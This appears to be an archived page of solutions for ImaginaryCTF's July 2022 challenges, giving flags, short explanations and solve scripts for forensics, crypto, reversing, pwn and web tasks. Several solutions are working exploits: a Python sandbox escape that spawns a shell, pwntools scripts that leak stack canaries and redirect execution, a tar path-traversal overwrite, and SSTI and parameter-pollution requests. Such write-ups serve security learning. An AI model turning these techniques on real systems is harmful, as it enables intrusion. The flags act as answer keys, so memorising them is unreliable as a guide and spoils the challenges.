Archived Challenges - July 2022

invite your friends!

ictf{w3lcome_to_round_24!}

43

ictf{43}

cat out.pickle | sed 's/K//g' | grep 'ictf{.*}' --text -o

Alternate python solution:

from pickle import load

class FlagPrinter:
    pass

x = pickle.load(open('out.pickle', 'rb'))
print(bytes(x.flag))```

ictf{cucumbers_or_pickles?}

none

safjas;kfjaslhfjadshfjlsadhfkj;aslhlfhasdjfklhasdkjfhaskjfhdsjahflkasjfshadf

from pickle import load

chars = load(open('out.pickle', 'rb'))

print(chars)

last = chars[ord('i')]

flag = []

started = 0

while not started or last is not chars[ord('i')]:
    started = 1
    for idx in range(128):
        if last is chars[idx]:
            break
    flag.append(idx)
    last = last[0]

print(bytes(flag))```

Most of the lists just refer back to themselves, but some of them point to other lists in the bigger list. Tracing the indices of these lists through the loop gives the flag.

ictf{sphInx_oF-blaCk=qu@rTz~jUdge+my^v0w}

__getattribute__ = (None).__getattribute__('__class__');__getattribute__ = __getattribute__.__getattribute__(__getattribute__, '__base__');__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__.__getattribute__(__getattribute__, '__subclasses__')()[84](), 'load_module') ('os'), 'system') ('sh')```

Uses a single name (`__getattribute__`) to access loaded modules and load `os`.

ictf{Th3_p0w3r_0f_3v3n_4_s1ngl3_n4m3_1s_t00_gr34t!}

Zip slip to overwrite users.db, with all possible salts for admin.

#!/usr/bin/env python3

from sqlite3 import *
from hashlib import sha256
from os import system
from base64 import b64encode

def pad(b, l):
    c = (l-(len(b)%l))
    return b + bytes([c]*c)

system('rm -f ../users.db')
conn = connect("../users.db")
cur = conn.cursor()

cur.execute('''
CREATE TABLE IF NOT EXISTS users (
    username TEXT NOT NULL ,
    password TEXT NOT NULL
);
''')

password = b'password'

for i in range(65536):
    salt = b64encode(pad(bytes.fromhex('{:04x}'.format(i)), 16))
    hsh = sha256(salt+password).hexdigest()
    cur.execute("insert into users values (?, ?)", ('admin', hsh))
    print(i)
conn.commit()
system('tar -cvPf ../../compressed.tar ../users.db')
system('base64 ../../compressed.tar | tr -d "\\n" > ../../b64')```

ictf{is_it_still_a_zip_slip_if_we_use_a_tar_file?}

# https://pypi.org/project/ds-store/
from ds_store import DSStore

s = DSStore.open('./flag/.DS_Store', 'r')

print('DS_Store Records:')

for entry in s:
    print(entry.code.decode(), entry.filename, entry.value)```

The fact that it includes the __MACOSX folder hints that the zip was compressed on a Mac. Turning on hidden files shows that there is a .DS_Store file in the zip file. Then [a library](https://pypi.org/project/ds-store/) can be used to read the names of any deleted files.

ictf{mac_is_better_than_templeos}

The pyc contains the date it was compiled - Feb 20, 1991, 3:14:15. As the password to the zip is just the hash of the timestamp, bruteforcing timestamps around this date will yield the flag.

For reference, the Unix timestamp used is time 667044877 and the password is ba2fe6b52f7610a6ddc4ce405d302e0eb93223b3b0c4d833895fe3ae68f0c0fe.

ictf{i've_traveled_here_from_decades_ago_to_deliver_you_this_flag}

There's almost nothing distinguishing to tell the location from in the image, but the image has GPS metadata attached.

ictf{39.13370_-98.52834}

• xor the raw file with a key you can reconstruct from the header
• Finding the image xor key (which we need for the flag) can be done based on the known color if the other flag pixels, we just need to determine the correct length and offset file xor key: 6a8bbe7d929222c6fd0fbbb2f8df71 image xor key: 994b03eb60842d5aa0b67b78c3e528f136a7fbeebe200cf031897fc8cfc2a0ab7590cfb7752364eb9d26241ea3ed94e30d96852501

ictf{n33ds_m04r_x04r_994b03eb60842d5aa0b67b78c3e528f136a7fbeebe200cf031897fc8cfc2a0ab7590cfb7752364eb9d26241ea3ed94e30d96852501}

#!/usr/bin/env python3

ct = open('flag.txt', 'rb').read().replace(b'\n', b'')

assert len(ct)%64 == 0

bits = [not(c&32) for c in ct]

out = ''

while len(bits) > 0:
    char = bits[:16]
    bits = bits[16:]
    for hx in range(16):
        if char[hx]:
            break
    out += hex(hx)[-1]

print(bytes.fromhex(out))```

Each line is 64 characters long. The flag is turned into hex, and each hex digit corresponds to which character is uppercased in the line. As the lines are 64 characters, each line encodes 2 characters of the flag.

ictf{writing_challenges_is_sort_of_like_writing_a_novel_i_guess}

#!/usr/bin/env python3

from Crypto.Util.number import *
from math import gcd

n1 = [redacted for length]
n2 = [redacted for length]
c1 = [redacted for length]
e = 65537

p = gcd(n1, n2)
q = n1//p
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c1, d, n1)))```

The encryptor only rotates one prime, not two. This means that any two consecutive public keys will share a prime, and taking their GCD will let you factor either one.

ictf{why_would_I_throw_away_perfectly_good_primes?}

Standard Wiener's attack. Python implementation found here: https://github.com/orisano/owiener

ictf{have_fun_at_ICTF_22!!!_559543c1}

This challenge is bugged in that all of the traps on the second floor are visible, so you can simply navigate to the end.

ictf{manIreallyoughttopickupnethackagainbutthenI'dhavenotimeforchallengeslol~}

https://www.youtube.com/watch?v=MiuLeTE2MeQ https://imaginaryctf.org/f/hXeFi

This uses SM64 pRNG, which only has 65114 states. The state can easily be determined by the random tiles on the first floor. The above script takes in the text of the map, and prints the initial state of the map of the second floor, from which you could script a valid path through to the stairs.

ictf{believe_it_or_not_this_chall_is_*more*_forgiving_than_nethack}

ct = bytes.fromhex('redacted for length')
flag = [ord('i')]
key = flag[0]
for c in ct[1:]:
    flag.append(c^key)
    key = flag[-1]
print(bytes(flag))```

Key only affects the first character, which we know is `i`, so the rest of the flag can be easily recovered.

ictf{it_would_probably_help_if_the_key_affected_more_than_just_the_first_char_lol}

ct = [22, 38, 56, 32, 121, 101, 104, 103, 97, 120, 15, 101, 31, 155, 84, 47, 79, 82, 52, 119, 127, 114, 91, 38, 53, 46, 187, 118, 177, 109, 102, 92, 106, 121, 110, 125, 112, 71, 98, 110, 121, 94, 107, 113, 3, 114, 47, 118, 127, 104, 107, 100, 117, 98, 238, 93, 233, 109, 79, 98, 107, 68, 69, 31, 37]
xor = open('reflection', 'rb').read().replace(b'\x00', b'')
print(bytes(c^xor[i]for(i,c)in enumerate(ct)))

Either use gdb to dump the values being xored, brute force by character because execution stops at the first wrong character, or reverse the file to find that the input is being xored with the first 65 nonzero bytes of the file.

ictf{did_you_know_that_function_names_are_just_pointers_to_code?}

https://imaginaryctf.org/f/WzPsb#x.py

The program just xors the ciphertext with the powers of 3, with every other power switched (i.e. [3, 1, 27, 9, 243, 81, 2187, 729, ...]). Each power is calculated by using a loop to multiply two smaller powers, meaning that the powers take exponentially long to calculate the larger they get.

ictf{myc0mpilerspr0fd!dntl!kem3butidky~}

The program gets tomorrow's date by sleeping for 24 hours, then returning the time. Taking the time of challenge release time on Aug 2nd (Aug 1st + 24 hours), turning it into an AES key, and decrypting the array with it (or just patching the binary to return the value) will yield the flag.

ictf{greet!ngs_fr0m_th3_future!}

from pwn import *

p = remote('puzzler7.imaginaryctf.org', 3001)

p.sendline('2')
p.sendline('0')
p.sendline('a'*127)

p.sendline('2')
p.sendline('127')
p.sendline('b'*10)

p.sendline('1')
print(p.recvuntil('b'*10))
canary = p.recvline().strip()
print(canary.hex())

RET = p64(0x401016)

p.sendline('2')
p.sendline('127')
p.sendline(b'b'*9 + b'\0' + canary[:7] + RET*2 + p64(0x401182))

p.sendline('3')
p.interactive()```

While the service will only let you input 127 character, it does so starting from whatever index you give it. You can leak the canary by entering a precise number of characters to remove the null byte at the beginning of the canary, and then overwrite the canary and return to the win function.

ictf{gimme_2_months_and_I'll_put_microsoft_out_of_business}

from pwn import *

p = process(['./club'])
p = remote('puzzler7.imaginaryctf.org', 3003)

p.sendline(b'%p'*24+b'~%p')
p.recvuntil(b'~0x')
addr = p64(int(p.recv(16).decode(), 16))
print(addr)

win = p64(0x401182)

p.sendline(b'a'*72 + addr + win*2)

p.interactive()```

There's a format string vuln, but `%n` is blacklisted. There's a stack buffer overflow, but there's a canary in the way. To solve this, we can leak the canary with `%p`. Normally, we could do `%25$p` to directly leak the canary, but `2` is blacklisted. Thus, we have to call `%p` 25 times, instead. Once we have the canary, we can simply ROP to the win function.

ictf{ESCHEW_fIVE_is_not_flag_format_friendly}

Use the csu gadget and the add gadget to add an offset to read@GOT, making the next call to read() call a one gadget https://imaginaryctf.org/f/6CECd#solve.py

ictf{did_y0u_just_pwN_me_with0ut_leakS??}

none

ictf{r0p_1s_fun!!!}

none

ictf{n0t_actually_crypt0pwn_but_1m_t1red}

none

ictf{sc4nn1ng_thrU_m3m0ry}

http://puzzler7.imaginaryctf.org:3002/ssti?query={{

Entering {{ causes an error, opening the debugger and allowing you to run arbitrary python code in a REPL.

ictf{oops_I_left_my_debugger_on_I_need_to_run_home_before_my_webserver_burns_down}

http://puzzler7.imaginaryctf.org:3006/flag?user=admin&user=notadmin

HTTP parameter pollution - Django reads the last definition of user, and Flask reads the first. See https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/HTTP%20Parameter%20Pollution

Also, Django is a pain in the ass, and so is running multiple webservers out of the same Docker container - I spent an embarrassing amount of time debugging this thing.

ictf{only_accessible_by_schroedinger's_admin}